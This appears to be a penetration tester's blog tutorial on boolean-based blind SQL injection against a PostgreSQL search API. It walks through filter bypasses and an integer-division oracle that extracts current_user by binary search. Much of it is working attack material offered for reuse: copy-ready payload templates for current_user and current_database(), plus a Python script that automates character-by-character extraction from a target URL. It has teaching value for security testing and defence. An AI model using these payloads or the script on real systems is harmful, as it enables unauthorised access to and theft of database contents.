Hi guys, today I will teach you how to exploit Boolean-based Blind SQL Injection. This is a technique I recently used on a penetration test to extract database usernames without any direct output from the application.

This one is a bit tricky because you are essentially flying blind. The app does not show you query results, error messages, or anything useful. All you get is a subtle difference in the response: data or no data. But that tiny difference? That is all you need.

Let’s dive in.

What is Boolean-based Blind SQLi?

In a typical SQL injection, you might see query results directly on the page. Usernames, emails, password hashes dumped right onto your screen. Easy stuff.

But in blind injection, you get nothing. The application does not display query output. Instead, you have to infer information based on how the application behaves:

  • Boolean-based: Different responses for true vs false conditions
  • Time-based: Response delays when conditions are true

Today we are focusing on boolean-based, where the app gives us different content depending on whether our injected condition is true or false.

The Scenario

I was testing a search endpoint that returned JSON data. A normal request looked something like this:

GET /api/products?search=test

Response:

{
  "status": "OK",
  "message": "Success.",
  "results": [
    {"id": 1, "name": "Wireless Mouse", "price": 29.99, "category": "Electronics"},
    {"id": 2, "name": "USB Keyboard", "price": 49.99, "category": "Electronics"}
  ]
}

When I threw a single quote at it:

GET /api/products?search='

I got:

{
  "status": "INTERNAL_SERVER_ERROR",
  "message": "Internal Server Error"
}

But with two quotes:

GET /api/products?search=''

Back to:

{
  "status": "OK",
  "message": "Success.",
  "results": []
}

This is a classic injection indicator. The single quote breaks the SQL syntax, the double quote escapes properly.

Finding the Right Payload

Here is where it got interesting. I tried the usual payloads:

' OR '1'='1
' AND '1'='1
' UNION SELECT NULL--

All errors. Something was filtering my input.

After a lot of trial and error, I found that string concatenation worked:

'||(SELECT+1)||'

This returned actual data! The + signs replace spaces (URL encoding), and the || is PostgreSQL’s concatenation operator.

But here is the catch. I could not use FROM. Any payload with FROM got blocked:

'||(SELECT+1+FROM+pg_user)||'  -- Blocked

So I was limited to functions that do not need a FROM clause, like current_user and current_database().

The Boolean Logic

Now here is the fun part. I discovered that the value I was injecting controlled how many results came back. Probably a LIMIT or something similar.

'||(SELECT+1)||'   -- Returns data
'||(SELECT+0)||'   -- Returns empty
'||(SELECT+10)||'  -- Returns data (max was 10)

So if my injected value equals 1 or more, I get data. If it equals 0, I get nothing. This gives us a true/false oracle we can use to extract information.

The Extraction Technique

Since I could not use comparison operators like > or < directly, I had to get creative. PostgreSQL integer division gave me what I needed.

Here is how it works:

100 / 100 = 1  (returns data)
100 / 101 = 0  (returns empty)
100 / 50 = 2   (returns data)

When you divide a number by something smaller or equal, you get 1 or more. When you divide by something larger, you get 0 (integer division truncates the decimal).

So the payload becomes:

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/97))||'

Breaking this down:

  • SUBSTRING(current_user,1,1) gets the first character of the username
  • ASCII(...) converts it to its ASCII number
  • /97 divides by 97 (which is lowercase ‘a’)
  • 1*(...) multiplies the result so it becomes our injected value

If the first character’s ASCII value is 97 or higher, we get 1 (data returned). If it is lower than 97, we get 0 (empty response).

This is basically asking: “Is this character greater than or equal to ‘a’?”

Binary Search: Finding Characters Efficiently

Now I could have just tested every ASCII value from 32 to 126, but that would take forever. Instead, I used binary search to cut the range in half each time.

Let me walk you through extracting the first character of current_user.

Step 1: Is it lowercase? (>= 97)

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/97))||'

Result: Data returned. So the character is 97 or higher.

Step 2: Is it in the upper half of lowercase? (>= 110, which is ’n’)

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/110))||'

Result: Empty. So the character is between 97-109 (a through m).

Step 3: Is it >= 103 (‘g’)?

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/103))||'

Result: Empty. So it is between 97-102 (a through f).

Step 4: Is it >= 100 (’d’)?

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/100))||'

Result: Empty. So it is between 97-99 (a, b, or c).

Step 5: Is it >= 98 (‘b’)?

'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/98))||'

Result: Empty. So it is 97, which is ‘a’.

In just 5 requests, I found the first character. Brute forcing would have taken up to 26 requests for just lowercase letters.

Extracting the Full Username

I repeated this process for each character position:

Character 1: 97 = ‘a’
Character 2: 100 = ’d’
Character 3: 109 = ’m’
Character 4: 105 = ‘i’
Character 5: 110 = ’n’
Character 6: Tested with /1 and got empty, meaning no character exists

The database username was admin.

ASCII Reference

ASCII Man Page

root@0xblivion:~# man ascii
ascii(7)                                              Miscellaneous Information Manual                                             ascii(7)

NAME
       ascii - ASCII character set encoded in octal, decimal, and hexadecimal

DESCRIPTION
       ASCII  is the American Standard Code for Information Interchange.  It is a 7-bit code.  Many 8-bit codes (e.g., ISO/IEC 8859-1) con‐
       tain ASCII as their lower half.  The international counterpart of ASCII is known as ISO/IEC 646-IRV.

       The following table contains the 128 ASCII characters.

       C program '\X' escapes are noted.

       Oct   Dec   Hex   Char                        Oct   Dec   Hex   Char
       ────────────────────────────────────────────────────────────────────────
       000   0     00    NUL '\0' (null character)   100   64    40    @
       001   1     01    SOH (start of heading)      101   65    41    A
       002   2     02    STX (start of text)         102   66    42    B
       003   3     03    ETX (end of text)           103   67    43    C
       004   4     04    EOT (end of transmission)   104   68    44    D
       005   5     05    ENQ (enquiry)               105   69    45    E
       006   6     06    ACK (acknowledge)           106   70    46    F
       007   7     07    BEL '\a' (bell)             107   71    47    G
       010   8     08    BS  '\b' (backspace)        110   72    48    H
       011   9     09    HT  '\t' (horizontal tab)   111   73    49    I
       012   10    0A    LF  '\n' (new line)         112   74    4A    J
       013   11    0B    VT  '\v' (vertical tab)     113   75    4B    K
       014   12    0C    FF  '\f' (form feed)        114   76    4C    L
       015   13    0D    CR  '\r' (carriage ret)     115   77    4D    M
       016   14    0E    SO  (shift out)             116   78    4E    N
       017   15    0F    SI  (shift in)              117   79    4F    O
       020   16    10    DLE (data link escape)      120   80    50    P
       021   17    11    DC1 (device control 1)      121   81    51    Q
       022   18    12    DC2 (device control 2)      122   82    52    R
 Manual page ascii(7) line 1 (press h for help or q to quit)

Detecting Character Type

Before binary searching, you need to know what range you are dealing with. Here is my approach:

Test 1: Is it lowercase?

/97 -> Data = lowercase or symbol above 97
/97 -> Empty = uppercase, number, or low symbol

Test 2: If not lowercase, is it uppercase?

/65 -> Data = uppercase (65-90) or higher
/65 -> Empty = number or symbol below 65

Test 3: If not uppercase, is it a number?

/48 -> Data = number (48-57)
/48 -> Empty = symbol below 48

Checking if a Character Exists

Before extracting each position, check if there is actually a character there:

'||(SELECT+1*(ASCII(SUBSTRING(current_user,6,1))/1))||'

Dividing by 1 means any character (ASCII 1 or higher) returns data. If you get empty, you have reached the end of the string.

Filter Bypasses I Used

During this engagement, I ran into several filters. Here is what was blocked and how I worked around it:

FROM keyword blocked

  • Solution: Use functions that do not need FROM like current_user, current_database(), version()

Spaces blocked

  • Solution: Use + for URL-encoded spaces

Dollar quoting blocked ($$)

  • Solution: Avoided string literals, stuck to functions

CASE WHEN blocked

  • Solution: Used multiplication and division for boolean logic instead

Payload Templates

Here are the payloads you can copy and modify:

Check if character exists at position N:

'||(SELECT+1*(ASCII(SUBSTRING(current_user,N,1))/1))||'

Extract character at position N (test against threshold):

'||(SELECT+1*(ASCII(SUBSTRING(current_user,N,1))/THRESHOLD))||'

For current_database():

'||(SELECT+1*(ASCII(SUBSTRING(current_database(),N,1))/THRESHOLD))||'

Automating the Process

Doing this manually works but gets tedious. Here is a simple Python script structure to automate it:

import requests

def check(position, threshold, target="current_user"):
    payload = f"'||(SELECT+1*(ASCII(SUBSTRING({target},{position},1))/{threshold}))||'"
    response = requests.get(f"{url}?search={payload}")
    return len(response.json().get('results', [])) > 0

def extract_char(position):
    # Check if character exists
    if not check(position, 1):
        return None
    
    # Binary search
    low, high = 32, 126
    while low < high:
        mid = (low + high + 1) // 2
        if check(position, mid):
            low = mid
        else:
            high = mid - 1
    
    return chr(low)

def extract_string(target="current_user"):
    result = ""
    pos = 1
    while True:
        char = extract_char(pos)
        if char is None:
            break
        result += char
        print(f"[+] Position {pos}: {char} (Current: {result})")
        pos += 1
    return result

# Usage
url = "https://target.com/api/products"
username = extract_string("current_user")
print(f"[+] Extracted: {username}")

Key Takeaways

  1. Boolean-based blind SQLi relies on true/false responses, not direct output
  2. Integer division can replace comparison operators when they are filtered
  3. Binary search reduces requests from potentially 94 (printable ASCII) to about 7 per character
  4. Always check if a character exists before trying to extract it
  5. Built-in functions like current_user do not need FROM clauses

Conclusion

Boolean-based blind SQL injection takes patience and creativity, especially when dealing with filters. The key is finding what syntax the application accepts and building your boolean logic around it.

In this case, the division trick turned a seemingly unexploitable injection into full data extraction. The FROM keyword being blocked seemed like a dead end until I realized PostgreSQL functions could give me what I needed without it.

Hope this helps you on your next engagement. If you have questions - please don’t. I’m busy :D


Happy hacking!